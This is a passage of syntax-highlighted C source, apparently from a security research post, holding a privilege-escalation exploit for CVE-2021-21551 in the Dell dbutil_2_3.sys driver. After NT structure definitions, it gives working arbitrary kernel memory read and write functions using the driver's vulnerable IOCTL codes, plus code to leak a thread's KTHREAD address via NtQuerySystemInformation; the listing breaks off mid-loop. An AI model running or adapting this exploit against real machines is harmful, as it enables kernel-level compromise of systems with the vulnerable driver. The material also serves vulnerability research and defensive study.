    <span class="n">SystemVerifierAddDriverInformation</span><span class="p">,</span>
    <span class="n">SystemVerifierRemoveDriverInformation</span><span class="p">,</span>
    <span class="n">SystemProcessorIdleInformation</span><span class="p">,</span>
    <span class="n">SystemLegacyDriverInformation</span><span class="p">,</span>
    <span class="n">SystemCurrentTimeZoneInformation</span><span class="p">,</span>
    <span class="n">SystemLookasideInformation</span><span class="p">,</span>
    <span class="n">SystemTimeSlipNotification</span><span class="p">,</span>
    <span class="n">SystemSessionCreate</span><span class="p">,</span>
    <span class="n">SystemSessionDetach</span><span class="p">,</span>
    <span class="n">SystemSessionInformation</span><span class="p">,</span>
    <span class="n">SystemRangeStartInformation</span><span class="p">,</span>
    <span class="n">SystemVerifierInformation</span><span class="p">,</span>
    <span class="n">SystemVerifierThunkExtend</span><span class="p">,</span>
    <span class="n">SystemSessionProcessInformation</span><span class="p">,</span>
    <span class="n">SystemLoadGdiDriverInSystemSpace</span><span class="p">,</span>
    <span class="n">SystemNumaProcessorMap</span><span class="p">,</span>
    <span class="n">SystemPrefetcherInformation</span><span class="p">,</span>
    <span class="n">SystemExtendedProcessInformation</span><span class="p">,</span>
    <span class="n">SystemRecommendedSharedDataAlignment</span><span class="p">,</span>
    <span class="n">SystemComPlusPackage</span><span class="p">,</span>
    <span class="n">SystemNumaAvailableMemory</span><span class="p">,</span>
    <span class="n">SystemProcessorPowerInformation</span><span class="p">,</span>
    <span class="n">SystemEmulationBasicInformation</span><span class="p">,</span>
    <span class="n">SystemEmulationProcessorInformation</span><span class="p">,</span>
    <span class="n">SystemExtendedHandleInformation</span><span class="p">,</span>
    <span class="n">SystemLostDelayedWriteInformation</span><span class="p">,</span>
    <span class="n">SystemBigPoolInformation</span><span class="p">,</span>
    <span class="n">SystemSessionPoolTagInformation</span><span class="p">,</span>
    <span class="n">SystemSessionMappedViewInformation</span><span class="p">,</span>
    <span class="n">SystemHotpatchInformation</span><span class="p">,</span>
    <span class="n">SystemObjectSecurityMode</span><span class="p">,</span>
    <span class="n">SystemWatchdogTimerHandler</span><span class="p">,</span>
    <span class="n">SystemWatchdogTimerInformation</span><span class="p">,</span>
    <span class="n">SystemLogicalProcessorInformation</span><span class="p">,</span>
    <span class="n">SystemWow64SharedInformation</span><span class="p">,</span>
    <span class="n">SystemRegisterFirmwareTableInformationHandler</span><span class="p">,</span>
    <span class="n">SystemFirmwareTableInformation</span><span class="p">,</span>
    <span class="n">SystemModuleInformationEx</span><span class="p">,</span>
    <span class="n">SystemVerifierTriageInformation</span><span class="p">,</span>
    <span class="n">SystemSuperfetchInformation</span><span class="p">,</span>
    <span class="n">SystemMemoryListInformation</span><span class="p">,</span>
    <span class="n">SystemFileCacheInformationEx</span><span class="p">,</span>
    <span class="n">MaxSystemInfoClass</span>

<span class="p">}</span> <span class="n">SYSTEM_INFORMATION_CLASS</span><span class="p">;</span>

<span class="k">typedef</span> <span class="k">struct</span> <span class="n">_SYSTEM_MODULE</span> <span class="p">{</span>
    <span class="n">ULONG</span>                <span class="n">Reserved1</span><span class="p">;</span>
    <span class="n">ULONG</span>                <span class="n">Reserved2</span><span class="p">;</span>
    <span class="n">PVOID</span>                <span class="n">ImageBaseAddress</span><span class="p">;</span>
    <span class="n">ULONG</span>                <span class="n">ImageSize</span><span class="p">;</span>
    <span class="n">ULONG</span>                <span class="n">Flags</span><span class="p">;</span>
    <span class="n">WORD</span>                 <span class="n">Id</span><span class="p">;</span>
    <span class="n">WORD</span>                 <span class="n">Rank</span><span class="p">;</span>
    <span class="n">WORD</span>                 <span class="n">w018</span><span class="p">;</span>
    <span class="n">WORD</span>                 <span class="n">NameOffset</span><span class="p">;</span>
    <span class="n">BYTE</span>                 <span class="n">Name</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span>
<span class="p">}</span> <span class="n">SYSTEM_MODULE</span><span class="p">,</span> <span class="o">*</span> <span class="n">PSYSTEM_MODULE</span><span class="p">;</span>

<span class="k">typedef</span> <span class="k">struct</span> <span class="n">SYSTEM_MODULE_INFORMATION</span> <span class="p">{</span>
    <span class="n">ULONG</span>                <span class="n">ModulesCount</span><span class="p">;</span>
    <span class="n">SYSTEM_MODULE</span>        <span class="n">Modules</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
<span class="p">}</span> <span class="n">SYSTEM_MODULE_INFORMATION</span><span class="p">,</span> <span class="o">*</span> <span class="n">PSYSTEM_MODULE_INFORMATION</span><span class="p">;</span>

<span class="k">typedef</span> <span class="k">struct</span> <span class="n">_SYSTEM_HANDLE_TABLE_ENTRY_INFO</span>
<span class="p">{</span>
    <span class="n">ULONG</span> <span class="n">ProcessId</span><span class="p">;</span>
    <span class="n">UCHAR</span> <span class="n">ObjectTypeNumber</span><span class="p">;</span>
    <span class="n">UCHAR</span> <span class="n">Flags</span><span class="p">;</span>
    <span class="n">USHORT</span> <span class="n">Handle</span><span class="p">;</span>
    <span class="kt">void</span><span class="o">*</span> <span class="n">Object</span><span class="p">;</span>
    <span class="n">ACCESS_MASK</span> <span class="n">GrantedAccess</span><span class="p">;</span>
<span class="p">}</span> <span class="n">SYSTEM_HANDLE</span><span class="p">,</span> <span class="o">*</span> <span class="n">PSYSTEM_HANDLE</span><span class="p">;</span>

<span class="k">typedef</span> <span class="k">struct</span> <span class="n">_SYSTEM_HANDLE_INFORMATION</span>
<span class="p">{</span>
    <span class="n">ULONG</span> <span class="n">NumberOfHandles</span><span class="p">;</span>
    <span class="n">SYSTEM_HANDLE</span> <span class="n">Handles</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
<span class="p">}</span> <span class="n">SYSTEM_HANDLE_INFORMATION</span><span class="p">,</span> <span class="o">*</span> <span class="n">PSYSTEM_HANDLE_INFORMATION</span><span class="p">;</span>

<span class="c1">// Prototype for ntdll!NtQuerySystemInformation</span>
<span class="k">typedef</span> <span class="nf">NTSTATUS</span><span class="p">(</span><span class="n">WINAPI</span><span class="o">*</span> <span class="n">NtQuerySystemInformation_t</span><span class="p">)(</span><span class="n">SYSTEM_INFORMATION_CLASS</span> <span class="n">SystemInformationClass</span><span class="p">,</span> <span class="n">PVOID</span> <span class="n">SystemInformation</span><span class="p">,</span> <span class="n">ULONG</span> <span class="n">SystemInformationLength</span><span class="p">,</span> <span class="n">PULONG</span> <span class="n">ReturnLength</span><span class="p">);</span>

<span class="k">typedef</span> <span class="k">struct</span> <span class="n">_CLIENT_ID</span> <span class="p">{</span>
    <span class="n">HANDLE</span> <span class="n">UniqueProcess</span><span class="p">;</span>
    <span class="n">HANDLE</span> <span class="n">UniqueThread</span><span class="p">;</span>
<span class="p">}</span> <span class="n">CLIENT_ID</span><span class="p">;</span>

<span class="k">typedef</span> <span class="k">struct</span> <span class="n">_UNICODE_STRING</span> <span class="p">{</span>
    <span class="n">USHORT</span> <span class="n">Length</span><span class="p">;</span>
    <span class="n">USHORT</span> <span class="n">MaximumLength</span><span class="p">;</span>
    <span class="n">PWSTR</span>  <span class="n">Buffer</span><span class="p">;</span>
<span class="p">}</span> <span class="n">UNICODE_STRING</span><span class="p">,</span> <span class="o">*</span> <span class="n">PUNICODE_STRING</span><span class="p">;</span>

<span class="k">typedef</span> <span class="k">struct</span> <span class="n">_OBJECT_ATTRIBUTES</span> <span class="p">{</span>
    <span class="n">ULONG</span>           <span class="n">Length</span><span class="p">;</span>
    <span class="n">HANDLE</span>          <span class="n">RootDirectory</span><span class="p">;</span>
    <span class="n">PUNICODE_STRING</span> <span class="n">ObjectName</span><span class="p">;</span>
    <span class="n">ULONG</span>           <span class="n">Attributes</span><span class="p">;</span>
    <span class="n">PVOID</span>           <span class="n">SecurityDescriptor</span><span class="p">;</span>
    <span class="n">PVOID</span>           <span class="n">SecurityQualityOfService</span><span class="p">;</span>
<span class="p">}</span> <span class="n">OBJECT_ATTRIBUTES</span><span class="p">;</span>
</code></pre></div></div>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//</span>
<span class="c1">// CVE-2021-21551 (HVCI-compliant)</span>
<span class="c1">// Author: Connor McGarr (@33y0re)</span>
<span class="c1">//</span>

<span class="cp">#include</span> <span class="cpf">"ntdll.h"</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span>
<span class="c1">//</span>
<span class="c1">// Vulnerable IOCTL codes</span>
<span class="c1">//</span>
<span class="cp">#define IOCTL_WRITE_CODE 0x9B0C1EC8
#define IOCTL_READ_CODE 0x9B0C1EC4
</span>
<span class="c1">//</span>
<span class="c1">// NTSTATUS codes</span>
<span class="c1">//</span>
<span class="cp">#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
#define STATUS_SUCCESS 0x00000000
</span>
<span class="cm">/**
 * @brief Function to arbitrarily read kernel memory.
 *
 * This function is able to take kernel mode memory, dereference it
 * and return it to user-mode.
 *
 * @param inHandle - A valid handle to the dbutil_2_3.sys.
 * @param WHAT - The kernel-mode memory to be dereferenced/read.
 * @return The dereferenced contents of the kernel-mode memory.

 */</span>
<span class="n">ULONG64</span> <span class="nf">read64</span><span class="p">(</span><span class="n">HANDLE</span> <span class="n">inHandle</span><span class="p">,</span> <span class="n">ULONG64</span> <span class="n">WHAT</span><span class="p">)</span>
<span class="p">{</span>
	<span class="c1">//</span>
	<span class="c1">// Buffer to send to the driver (read primitive)</span>
	<span class="c1">//</span>
	<span class="n">ULONG64</span> <span class="n">inBuf</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>

	<span class="c1">//</span>
	<span class="c1">// Values to send</span>
	<span class="c1">//</span>
	<span class="n">ULONG64</span> <span class="n">one</span> <span class="o">=</span> <span class="mh">0x4141414141414141</span><span class="p">;</span>
	<span class="n">ULONG64</span> <span class="n">two</span> <span class="o">=</span> <span class="n">WHAT</span><span class="p">;</span>
	<span class="n">ULONG64</span> <span class="n">three</span> <span class="o">=</span> <span class="mh">0x0000000000000000</span><span class="p">;</span>
	<span class="n">ULONG64</span> <span class="n">four</span> <span class="o">=</span> <span class="mh">0x0000000000000000</span><span class="p">;</span>

	<span class="c1">//</span>
	<span class="c1">// Assign the values</span>
	<span class="c1">//</span>
	<span class="n">inBuf</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">one</span><span class="p">;</span>
	<span class="n">inBuf</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">two</span><span class="p">;</span>
	<span class="n">inBuf</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="n">three</span><span class="p">;</span>
	<span class="n">inBuf</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="n">four</span><span class="p">;</span>

	<span class="c1">//</span>
	<span class="c1">// Interact with the driver</span>
	<span class="c1">//</span>
	<span class="n">DWORD</span> <span class="n">bytesReturned</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

	<span class="n">BOOL</span> <span class="n">interact</span> <span class="o">=</span> <span class="n">DeviceIoControl</span><span class="p">(</span>
		<span class="n">inHandle</span><span class="p">,</span>
		<span class="n">IOCTL_READ_CODE</span><span class="p">,</span>
		<span class="o">&amp;</span><span class="n">inBuf</span><span class="p">,</span>
		<span class="k">sizeof</span><span class="p">(</span><span class="n">inBuf</span><span class="p">),</span>
		<span class="o">&amp;</span><span class="n">inBuf</span><span class="p">,</span>
		<span class="k">sizeof</span><span class="p">(</span><span class="n">inBuf</span><span class="p">),</span>
		<span class="o">&amp;</span><span class="n">bytesReturned</span><span class="p">,</span>
		<span class="nb">NULL</span>
	<span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">interact</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>

	<span class="p">}</span>
	<span class="k">else</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Return the QWORD</span>
		<span class="c1">//</span>
		<span class="k">return</span> <span class="n">inBuf</span><span class="p">[</span><span class="mi">3</span><span class="p">];</span>
	<span class="p">}</span>

<span class="c1">//</span>
<span class="c1">// Execution comes here if an error is encountered</span>
<span class="c1">//</span>
<span class="nl">exit:</span>

	<span class="c1">//</span>
	<span class="c1">// Close the handle before exiting</span>
	<span class="c1">//</span>
	<span class="n">CloseHandle</span><span class="p">(</span>
		<span class="n">inHandle</span>
	<span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Return an error</span>
	<span class="c1">//</span>
	<span class="k">return</span> <span class="p">(</span><span class="n">ULONG64</span><span class="p">)</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>

<span class="cm">/**
 * @brief Function used to arbitrarily write to kernel memory.
 *
 * This function is able to take kernel mode memory
 * and write user-supplied data to said memory
 * 1 QWORD (ULONG64) at a time.
 *
 * @param inHandle - A valid handle to the dbutil_2_3.sys.
 * @param WHERE - The data the user wishes to write to kernel mode.
 * @param WHAT - The kernel-mode memory to be written to.
 * @return Result of the operation in the form of a boolean.
 */</span>
<span class="n">BOOL</span> <span class="nf">write64</span><span class="p">(</span><span class="n">HANDLE</span> <span class="n">inHandle</span><span class="p">,</span> <span class="n">ULONG64</span> <span class="n">WHERE</span><span class="p">,</span> <span class="n">ULONG64</span> <span class="n">WHAT</span><span class="p">)</span>
<span class="p">{</span>
	<span class="c1">//</span>
	<span class="c1">// Buffer to send to the driver (write primitive)</span>
	<span class="c1">//</span>
	<span class="n">ULONG64</span> <span class="n">inBuf1</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>

	<span class="c1">//</span>
	<span class="c1">// Values to send</span>
	<span class="c1">//</span>
	<span class="n">ULONG64</span> <span class="n">one1</span> <span class="o">=</span> <span class="mh">0x4141414141414141</span><span class="p">;</span>
	<span class="n">ULONG64</span> <span class="n">two1</span> <span class="o">=</span> <span class="n">WHERE</span><span class="p">;</span>
	<span class="n">ULONG64</span> <span class="n">three1</span> <span class="o">=</span> <span class="mh">0x0000000000000000</span><span class="p">;</span>
	<span class="n">ULONG64</span> <span class="n">four1</span> <span class="o">=</span> <span class="n">WHAT</span><span class="p">;</span>

	<span class="c1">//</span>
	<span class="c1">// Assign the values</span>
	<span class="c1">//</span>
	<span class="n">inBuf1</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">one1</span><span class="p">;</span>
	<span class="n">inBuf1</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">two1</span><span class="p">;</span>
	<span class="n">inBuf1</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="n">three1</span><span class="p">;</span>
	<span class="n">inBuf1</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="n">four1</span><span class="p">;</span>

	<span class="c1">//</span>
	<span class="c1">// Interact with the driver</span>
	<span class="c1">//</span>
	<span class="n">DWORD</span> <span class="n">bytesReturned1</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

	<span class="n">BOOL</span> <span class="n">interact</span> <span class="o">=</span> <span class="n">DeviceIoControl</span><span class="p">(</span>
		<span class="n">inHandle</span><span class="p">,</span>
		<span class="n">IOCTL_WRITE_CODE</span><span class="p">,</span>
		<span class="o">&amp;</span><span class="n">inBuf1</span><span class="p">,</span>
		<span class="k">sizeof</span><span class="p">(</span><span class="n">inBuf1</span><span class="p">),</span>
		<span class="o">&amp;</span><span class="n">inBuf1</span><span class="p">,</span>
		<span class="k">sizeof</span><span class="p">(</span><span class="n">inBuf1</span><span class="p">),</span>
		<span class="o">&amp;</span><span class="n">bytesReturned1</span><span class="p">,</span>
		<span class="nb">NULL</span>
	<span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">interact</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>

	<span class="p">}</span>
	<span class="k">else</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Return TRUE</span>
		<span class="c1">//</span>
		<span class="k">return</span> <span class="n">TRUE</span><span class="p">;</span>
	<span class="p">}</span>

<span class="c1">//</span>
<span class="c1">// Execution comes here if an error is encountered</span>
<span class="c1">//</span>
<span class="nl">exit:</span>

	<span class="c1">//</span>
	<span class="c1">// Close the handle before exiting</span>
	<span class="c1">//</span>
	<span class="n">CloseHandle</span><span class="p">(</span>
		<span class="n">inHandle</span>
	<span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Return FALSE (arbitrary write failed)</span>
	<span class="c1">//</span>
	<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>
<span class="p">}</span>

<span class="cm">/**
 * @brief Function to obtain a handle to the dbutil_2_3.sys driver.
 * @param Void.
 * @return The handle to the driver.
 */</span>
<span class="n">HANDLE</span> <span class="nf">getHandle</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
	<span class="c1">//</span>
	<span class="c1">// Obtain a handle to the driver</span>
	<span class="c1">//</span>
	<span class="n">HANDLE</span> <span class="n">driverHandle</span> <span class="o">=</span> <span class="n">CreateFileA</span><span class="p">(</span>
		<span class="s">"</span><span class="se">\\\\</span><span class="s">.</span><span class="se">\\</span><span class="s">DBUtil_2_3"</span><span class="p">,</span>
		<span class="n">FILE_SHARE_DELETE</span> <span class="o">|</span> <span class="n">FILE_SHARE_READ</span> <span class="o">|</span> <span class="n">FILE_SHARE_WRITE</span><span class="p">,</span>
		<span class="mh">0x0</span><span class="p">,</span>
		<span class="nb">NULL</span><span class="p">,</span>
		<span class="n">OPEN_EXISTING</span><span class="p">,</span>
		<span class="mh">0x0</span><span class="p">,</span>
		<span class="nb">NULL</span>
	<span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">driverHandle</span> <span class="o">==</span> <span class="n">INVALID_HANDLE_VALUE</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="k">else</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Return the driver handle</span>
		<span class="c1">//</span>
		<span class="k">return</span> <span class="n">driverHandle</span><span class="p">;</span>
	<span class="p">}</span>

<span class="c1">//</span>
<span class="c1">// Execution comes here if an error is encountered</span>
<span class="c1">//</span>
<span class="nl">exit:</span>

	<span class="c1">//</span>
	<span class="c1">// Return an invalid handle</span>
	<span class="c1">//</span>
	<span class="k">return</span> <span class="p">(</span><span class="n">HANDLE</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>

<span class="cm">/**
 * @brief Function used for LPTHREAD_START_ROUTINE
 *
 * This function is used by the "dummy thread" as
 * the entry point. It isn't important, so we can
 * just make it "return"
 *
 * @param Void.
 * @return Void.
 */</span>
<span class="kt">void</span> <span class="nf">randomFunction</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>

<span class="cm">/**
 * @brief Function used to create a "dummy thread"
 *
 * This function creates a "dummy thread" that is suspended.
 * This allows us to leak the kernel-mode stack of this thread.
 *
 * @param Void.
 * @return A handle to the "dummy thread"
 */</span>
<span class="n">HANDLE</span> <span class="nf">createdummyThread</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
	<span class="c1">//</span>
	<span class="c1">// Invoke CreateThread</span>
	<span class="c1">//</span>
	<span class="n">HANDLE</span> <span class="n">dummyThread</span> <span class="o">=</span> <span class="n">CreateThread</span><span class="p">(</span>
		<span class="nb">NULL</span><span class="p">,</span>
		<span class="mi">0</span><span class="p">,</span>
		<span class="p">(</span><span class="n">LPTHREAD_START_ROUTINE</span><span class="p">)</span><span class="n">randomFunction</span><span class="p">,</span>
		<span class="nb">NULL</span><span class="p">,</span>
		<span class="n">CREATE_SUSPENDED</span><span class="p">,</span>
		<span class="nb">NULL</span>
	<span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">dummyThread</span> <span class="o">==</span> <span class="p">(</span><span class="n">HANDLE</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="k">else</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Return the handle to the thread</span>
		<span class="c1">//</span>
		<span class="k">return</span> <span class="n">dummyThread</span><span class="p">;</span>
	<span class="p">}</span>

<span class="c1">//</span>
<span class="c1">// Execution comes here if an error is encountered</span>
<span class="c1">//</span>
<span class="nl">exit:</span>

	<span class="c1">//</span>
	<span class="c1">// Return an invalid handle</span>
	<span class="c1">//</span>
	<span class="k">return</span> <span class="p">(</span><span class="n">HANDLE</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>

<span class="cm">/**
 * @brief Function to resolve ntdll!NtQuerySystemInformation.
 *
 * This function is used to resolve ntdll!NtQuerySystemInformation.
 * ntdll!NtQuerySystemInformation allows us to leak kernel-mode
 * memory, useful to our exploit, to user mode from a medium
 * integrity process.
 *
 * @param Void.
 * @return A pointer to ntdll!NtQuerySystemInformation.

 */</span>
<span class="n">NtQuerySystemInformation_t</span> <span class="nf">resolveFunc</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
	<span class="c1">//</span>
	<span class="c1">// Obtain a handle to ntdll.dll (where NtQuerySystemInformation lives)</span>
	<span class="c1">//</span>
	<span class="n">HMODULE</span> <span class="n">ntdllHandle</span> <span class="o">=</span> <span class="n">GetModuleHandleW</span><span class="p">(</span><span class="s">L"ntdll.dll"</span><span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">ntdllHandle</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">// Bail out</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">//</span>
	<span class="c1">// Resolve ntdll!NtQuerySystemInformation</span>
	<span class="c1">//</span>
	<span class="n">NtQuerySystemInformation_t</span> <span class="n">func</span> <span class="o">=</span> <span class="p">(</span><span class="n">NtQuerySystemInformation_t</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span>
		<span class="n">ntdllHandle</span><span class="p">,</span>
		<span class="s">"NtQuerySystemInformation"</span>
	<span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">func</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="k">else</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Print update</span>
		<span class="c1">//</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"[+] ntdll!NtQuerySystemInformation: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">func</span><span class="p">);</span>

		<span class="c1">//</span>
		<span class="c1">// Return the address</span>
		<span class="c1">//</span>
		<span class="k">return</span> <span class="n">func</span><span class="p">;</span>
	<span class="p">}</span>

<span class="c1">//</span>
<span class="c1">// Execution comes here if an error is encountered</span>
<span class="c1">//</span>
<span class="nl">exit:</span>

	<span class="c1">//</span>
	<span class="c1">// Return an error</span>
	<span class="c1">//</span>
	<span class="k">return</span> <span class="p">(</span><span class="n">NtQuerySystemInformation_t</span><span class="p">)</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>

<span class="cm">/**
 * @brief Function used to leak the KTHREAD object
 *
 * This function leverages NtQuerySystemInformation (by
 * calling resolveFunc() to get NtQuerySystemInformation's
 * location in memory) to leak the KTHREAD object associated
 * with our previously created "dummy thread"
 *
 * @param dummythreadHandle - A handle to the "dummy thread"
 * @return A pointer to the KTHREAD object
 */</span>
<span class="n">ULONG64</span> <span class="nf">leakKTHREAD</span><span class="p">(</span><span class="n">HANDLE</span> <span class="n">dummythreadHandle</span><span class="p">)</span>
<span class="p">{</span>
	<span class="c1">//</span>
	<span class="c1">// Set the NtQuerySystemInformation return value to STATUS_INFO_LENGTH_MISMATCH for call to NtQuerySystemInformation</span>
	<span class="c1">//</span>
	<span class="n">NTSTATUS</span> <span class="n">retValue</span> <span class="o">=</span> <span class="n">STATUS_INFO_LENGTH_MISMATCH</span><span class="p">;</span>

	<span class="c1">//</span>
	<span class="c1">// Resolve ntdll!NtQuerySystemInformation</span>
	<span class="c1">//</span>
	<span class="n">NtQuerySystemInformation_t</span> <span class="n">NtQuerySystemInformation</span> <span class="o">=</span> <span class="n">resolveFunc</span><span class="p">();</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">NtQuerySystemInformation</span> <span class="o">==</span> <span class="p">(</span><span class="n">NtQuerySystemInformation_t</span><span class="p">)</span><span class="mi">1</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Print update</span>
		<span class="c1">//</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"[-] Error! Unable to resolve ntdll!NtQuerySystemInformation. Error: 0x%lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>

		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">//</span>
	<span class="c1">// Set size to 1 and loop the call until we reach the needed size</span>
	<span class="c1">//</span>
	<span class="kt">int</span> <span class="n">size</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>

	<span class="c1">//</span>
	<span class="c1">// Output size</span>
	<span class="c1">//</span>
	<span class="kt">int</span> <span class="n">outSize</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

	<span class="c1">//</span>
	<span class="c1">// Output buffer</span>
	<span class="c1">//</span>
	<span class="n">PSYSTEM_HANDLE_INFORMATION</span> <span class="n">out</span> <span class="o">=</span> <span class="p">(</span><span class="n">PSYSTEM_HANDLE_INFORMATION</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="n">size</span><span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">out</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">//</span>
	<span class="c1">// do/while to allocate enough memory necessary for NtQuerySystemInformation</span>
	<span class="c1">//</span>
	<span class="k">do</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Free the previous memory</span>
		<span class="c1">//</span>
		<span class="n">free</span><span class="p">(</span><span class="n">out</span><span class="p">);</span>

		<span class="c1">//</span>
		<span class="c1">// Increment the size</span>
		<span class="c1">//</span>
		<span class="n">size</span> <span class="o">=</span> <span class="n">size</span> <span class="o">*</span> <span class="mi">2</span><span class="p">;</span>

		<span class="c1">//</span>
		<span class="c1">// Allocate more memory with the updated size</span>
		<span class="c1">//</span>
		<span class="n">out</span> <span class="o">=</span> <span class="p">(</span><span class="n">PSYSTEM_HANDLE_INFORMATION</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="n">size</span><span class="p">);</span>

		<span class="c1">//</span>
		<span class="c1">// Error handling</span>
		<span class="c1">//</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">out</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
		<span class="p">{</span>
			<span class="c1">//</span>
			<span class="c1">// Bail out</span>
			<span class="c1">//</span>
			<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
		<span class="p">}</span>

		<span class="c1">//</span>
		<span class="c1">// Invoke NtQuerySystemInformation</span>
		<span class="c1">//</span>
		<span class="n">retValue</span> <span class="o">=</span> <span class="n">NtQuerySystemInformation</span><span class="p">(</span>
			<span class="n">SystemHandleInformation</span><span class="p">,</span>
			<span class="n">out</span><span class="p">,</span>
			<span class="p">(</span><span class="n">ULONG</span><span class="p">)</span><span class="n">size</span><span class="p">,</span>
			<span class="o">&amp;</span><span class="n">outSize</span>
		<span class="p">);</span>
